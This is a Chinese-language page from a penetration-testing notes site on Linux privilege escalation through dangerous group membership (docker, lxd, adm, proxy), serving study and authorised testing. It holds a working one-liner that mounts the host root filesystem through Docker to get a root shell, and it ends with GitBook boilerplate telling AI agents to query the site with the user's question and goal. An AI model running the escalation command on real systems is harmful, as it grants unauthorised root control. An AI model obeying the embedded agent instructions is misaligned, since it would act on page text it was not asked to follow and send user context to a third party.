> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/user-groups.md).

# 用户组

Linux 本地用户组权限提升笔记，涵盖 docker、lxd、adm、proxy、日志、主机规则以及容器滥用。

危险的本地组成员身份可能会在不需要内核漏洞利用的情况下暴露特权资源。诸如 docker、lxd、adm 或 proxy 等组可能赋予主机控制权、敏感日志访问权限，或可用于横向移动和提权到 root 的配置路径。

## 方法

* 运行 `id` 和 `groups` 用于识别特权本地组成员身份。
* 将每个组映射到其所暴露的资源，例如 Docker 套接字、LXD 容器、日志或代理配置。
* 仅利用已确认的组路径，并保留命令输出用于报告。

## 快速检查

```bash
id
groups
```

## Docker 组快速路径

属于 `docker` 组通常会授予与 root 等效的主机控制权，因为容器可以挂载主机文件系统。

```bash
id
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>docker 组滥用</h4></td><td>用于 Linux 提权的用户组（Docker）说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/user-groups/docker-group-linux-privilege-escalation.md">docker 组滥用 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>adm 组日志访问</h4></td><td>用于 Linux 提权的用户组（adm）说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/user-groups/adm-group-linux-privilege-escalation.md">adm 组日志访问 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>lxd 组滥用</h4></td><td>用于 Linux 提权的用户组（lxd）说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/user-groups/lxd-group-linux-privilege-escalation.md">lxd 组滥用 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-users" style="color:$primary;">:users:</i></h3></td><td><h4>proxy 组滥用</h4></td><td>用于 Linux 提权的用户组（proxy）说明，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/user-groups/proxy-group-linux-privilege-escalation.md">proxy 组滥用 - Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/user-groups.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
